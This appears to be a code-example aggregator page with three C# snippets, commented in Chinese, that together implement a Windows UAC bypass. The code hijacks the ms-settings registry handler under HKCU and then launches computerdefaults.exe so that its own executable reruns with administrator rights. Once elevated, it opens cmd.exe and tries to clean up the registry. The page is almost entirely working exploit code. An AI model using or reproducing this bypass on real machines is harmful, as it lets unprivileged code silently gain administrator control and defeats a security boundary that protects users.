Exemple #1
0
        public static RegistryKey Z(string x)
        {
            RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\" + x, true);
            //这里就是判断registryKey是否为null
            bool flag = !Bypass.checksubkey(registryKey);

            //如果为null
            if (flag)
            {
                //1. 创建 Classes
                //2. 创建 Classes\\ms-settings
                //3. 创建 Classes\\ms-settings\\shell
                //4. 创建 Classes\\ms-settings\\shell\\open
                //5. 创建 Classes\\ms-settings\\shell\\open\\command
                registryKey = Registry.CurrentUser.CreateSubKey("Software\\" + x);
            }
            return(registryKey);
        }
Exemple #2
0
 static void Main(string[] args)
 {
     try
     {
         // 判断是不是administrator,如果不是,那么就调用bypassuas
         if (!IsAdministrator())
         {
             Bypass.uu();
         }
         else if (IsAdministrator())
         {
             string AF_E = "cmd.exe";
             Process.Start("CMD.exe", "/c start " + AF_E);
             RegistryKey reg_clean = Registry.CurrentUser.OpenSubKey("Software\\Classes\\ms-settings", true);
             reg_clean.DeleteSubKeyTree("test");
             reg_clean.Close();
         }
     }
     catch { Environment.Exit(0); }
 }
Exemple #3
0
        public static void uu()
        {
            //启用代码以检查Windows用户的Windows组成员身份
            WindowsPrincipal windowsPrincipal = new WindowsPrincipal(WindowsIdentity.GetCurrent());

            if (!windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator))
            {
                Bypass.Z("Classes");
                Bypass.Z("Classes\\ms-settings");
                Bypass.Z("Classes\\ms-settings\\shell");
                Bypass.Z("Classes\\ms-settings\\shell\\open");
                RegistryKey registryKey = Bypass.Z("Classes\\ms-settings\\shell\\open\\command");
                string      cpath       = System.Reflection.Assembly.GetExecutingAssembly().Location;
                registryKey.SetValue("", cpath, RegistryValueKind.String);
                registryKey.SetValue("DelegateExecute", 0, RegistryValueKind.DWord);
                registryKey.Close();

                ExecuteCommandSync("computerdefaults.exe");

                /*
                 * try
                 * {
                 *  Process.Start(new ProcessStartInfo
                 *  {
                 *      CreateNoWindow = true,
                 *      UseShellExecute = false,
                 *      FileName = "cmd.exe",
                 *      Arguments = "/c start computerdefaults.exe"
                 *  });
                 * }
                 * catch { }
                 */
                Process.GetCurrentProcess().Kill();
            }
            else
            {
                RegistryKey registryKey2 = Bypass.Z("Classes\\ms-settings\\shell\\open\\command");
                registryKey2.SetValue("", "", RegistryValueKind.String);
            }
        }